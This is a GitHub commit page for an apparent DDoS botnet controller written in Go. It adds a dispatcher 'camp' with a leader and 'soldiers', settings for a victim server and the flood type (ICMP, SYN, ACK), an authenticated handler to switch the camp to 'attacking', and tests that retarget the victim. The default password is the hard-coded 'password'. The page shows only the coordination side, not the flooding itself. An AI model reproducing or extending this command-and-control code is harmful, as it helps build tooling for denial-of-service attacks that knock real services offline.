Skip to content

Commit

Permalink
add some extra fields on it
Browse files Browse the repository at this point in the history
  • Loading branch information
ZORbit01 committed Apr 9, 2023
1 parent 24f5e9f commit 9f0faac
Show file tree
Hide file tree
Showing 5 changed files with 148 additions and 14 deletions.
8 changes: 8 additions & 0 deletions client/client.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
package client

import "net/http"

type Client struct {
http.Client
DispatcherServer string // Dispatcher server http end point
}
17 changes: 14 additions & 3 deletions dispatcher/camp.go
Original file line number Diff line number Diff line change
Expand Up @@ -14,11 +14,22 @@ const (
StatusAttacking = "attacking"
StatusStopped = "stopped"
)
const (
DDOSTypeICMP = "icmp"
DDOSTypeSYN = "syn"
DDOSTypeACK = "ack"
)

type CampSettings struct {
Status string `json:"status"`
VictimServer string `json:"victim"`
DDOSType string `json:"ddos_type"`
}

type Camp struct {
Leader Leader `json:"leader"`
Soldiers []Soldier `json:"soldiers"`
Status string `json:"status"`
Leader Leader `json:"leader"`
Soldiers []Soldier `json:"soldiers"`
Settings CampSettings `json:"camp_settings"`
}

func (c *Camp) AddSoldier(s Soldier) {
Expand Down
16 changes: 15 additions & 1 deletion dispatcher/dispatcher.go
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,21 @@ func (d *Dispatcher) SetupDefault() {
d.ListeningAddress = "localhost"
d.ListeningPort = "8080"
d.cmp.Leader.Name = "leader"
d.cmp.Status = StatusStopped
d.cmp.Leader.AuthenticationHash = HashOf("password")
d.cmp.Settings.Status = StatusStopped
d.cmp.Settings.VictimServer = "127.0.0.1:8080"
d.cmp.Settings.DDOSType = DDOSTypeICMP
d.cmp.Soldiers = make([]Soldier, 0)
}

func (c *Camp) UpdateSettings(status, victim, ddosType string) {
if status != "" {
c.Settings.Status = status
}
if victim != "" {
c.Settings.VictimServer = victim
}
if ddosType != "" {
c.Settings.DDOSType = ddosType
}
}
23 changes: 17 additions & 6 deletions dispatcher/server.go
Original file line number Diff line number Diff line change
Expand Up @@ -74,19 +74,30 @@ func HandleCamp(writer http.ResponseWriter, request *http.Request, d *Dispatcher
// update camp status
if request.Method == "PUT" {
if isAuthorized(request.Header.Get("Authorization"), d.cmp.Leader.AuthenticationHash) {
data, err := io.ReadAll(request.Body)
var cp CampSettings
err := json.NewDecoder(request.Body).Decode(&cp)
if err != nil {
http.Error(writer, err.Error(), http.StatusBadRequest)
return
}
status := string(data)
if status == StatusAttacking || status == StatusStopped {
d.cmp.Status = status
writer.WriteHeader(http.StatusOK)
} else {
if cp.Status != StatusAttacking && cp.Status != StatusStopped && cp.Status != "" {
http.Error(writer, "Invalid status", http.StatusBadRequest)
return
}
if cp.DDOSType != DDOSTypeICMP && cp.DDOSType != DDOSTypeSYN && cp.DDOSType != DDOSTypeACK && cp.DDOSType != "" {
http.Error(writer, "Invalid ddos type", http.StatusBadRequest)
return
}
if cp.VictimServer != "" {
ip, port, err := net.SplitHostPort(cp.VictimServer)
if err != nil || port == "" || net.ParseIP(ip) == nil {
http.Error(writer, "Invalid victim server", http.StatusBadRequest)
return
}
}
d.cmp.UpdateSettings(cp.Status, cp.VictimServer, cp.DDOSType)
writer.WriteHeader(http.StatusOK)

} else {
http.Error(writer, "Unauthorized", http.StatusUnauthorized)
return
Expand Down
98 changes: 94 additions & 4 deletions dispatcher/server_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -110,8 +110,9 @@ func TestHandleCampUpdateStatus(t *testing.T) {
d := NewDispatcher()
d.SetupDefault()

// add password to header
req, err := http.NewRequest("PUT", "/camp", bytes.NewReader([]byte(StatusAttacking)))
jr := `{"status":"attacking"}`

req, err := http.NewRequest("PUT", "/camp", bytes.NewReader([]byte(jr)))
if err != nil {
t.Fatal(err)
}
Expand All @@ -127,8 +128,8 @@ func TestHandleCampUpdateStatus(t *testing.T) {
t.Errorf("PUT /camp returned wrong status code: got %v want %v", status, http.StatusOK)
}

if d.cmp.Status != StatusAttacking {
t.Errorf("camp status not changed got %v want %v", d.cmp.Status, StatusAttacking)
if d.cmp.Settings.Status != StatusAttacking {
t.Errorf("camp status not changed got %v want %v", d.cmp.Settings.Status, StatusAttacking)
}

// wrong test
Expand All @@ -149,3 +150,92 @@ func TestHandleCampUpdateStatus(t *testing.T) {
t.Errorf("PUT /camp returned wrong status code: got %v want %v", status, http.StatusUnauthorized)
}
}

func TestHandleCampUpdateDDOSType(t *testing.T) {
d := NewDispatcher()
d.SetupDefault()

jr := `{"ddos_type":"ack"}`

req, err := http.NewRequest("PUT", "/camp", bytes.NewReader([]byte(jr)))
if err != nil {
t.Fatal(err)
}
req.Header.Add("Authorization", "password")

handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
HandleCamp(w, r, d)
})
rec := httptest.NewRecorder()
handler.ServeHTTP(rec, req)

if status := rec.Code; status != http.StatusOK {
t.Errorf("PUT /camp returned wrong status code: got %v want %v", status, http.StatusOK)
}

if d.cmp.Settings.DDOSType != DDOSTypeACK {
t.Errorf("camp ddos type not changed got %v want %v", d.cmp.Settings.DDOSType, DDOSTypeACK)
}

// wrong test
// add wrong password to header
req, err = http.NewRequest("PUT", "/camp", bytes.NewReader([]byte(DDOSTypeICMP)))
if err != nil {
t.Fatal(err)
}
rec.Header().Set("Authorization", "wrongPassword")

handler = http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
HandleCamp(w, r, d)
})
rec = httptest.NewRecorder()
handler.ServeHTTP(rec, req)

if status := rec.Code; status != http.StatusUnauthorized {
t.Errorf("PUT /camp returned wrong status code: got %v want %v", status, http.StatusUnauthorized)
}
}

func TestHandleCampUpdateVictimTarget(t *testing.T) {
d := NewDispatcher()
d.SetupDefault()

jr := `{"victim":"127.0.0.2:80"}`
req, err := http.NewRequest("PUT", "/camp", bytes.NewReader([]byte(jr)))
if err != nil {
t.Fatal(err)
}
req.Header.Add("Authorization", "password")

handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
HandleCamp(w, r, d)
})
rec := httptest.NewRecorder()
handler.ServeHTTP(rec, req)

if status := rec.Code; status != http.StatusOK {
t.Errorf("PUT /camp returned wrong status code: got %v want %v", status, http.StatusOK)
}

if d.cmp.Settings.VictimServer != "127.0.0.2:80" {
t.Errorf("camp ddos type not changed got %v want %v", d.cmp.Settings.VictimServer, "127.0.0.2:80")
}

// wrong test
// add wrong password to header
req, err = http.NewRequest("PUT", "/camp", bytes.NewReader([]byte(`{"target":"127.0.0.3:80"}`)))
if err != nil {
t.Fatal(err)
}
rec.Header().Set("Authorization", "wrongPassword")

handler = http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
HandleCamp(w, r, d)
})
rec = httptest.NewRecorder()
handler.ServeHTTP(rec, req)

if status := rec.Code; status != http.StatusUnauthorized {
t.Errorf("PUT /camp returned wrong status code: got %v want %v", status, http.StatusUnauthorized)
}
}

0 comments on commit 9f0faac

Please sign in to comment.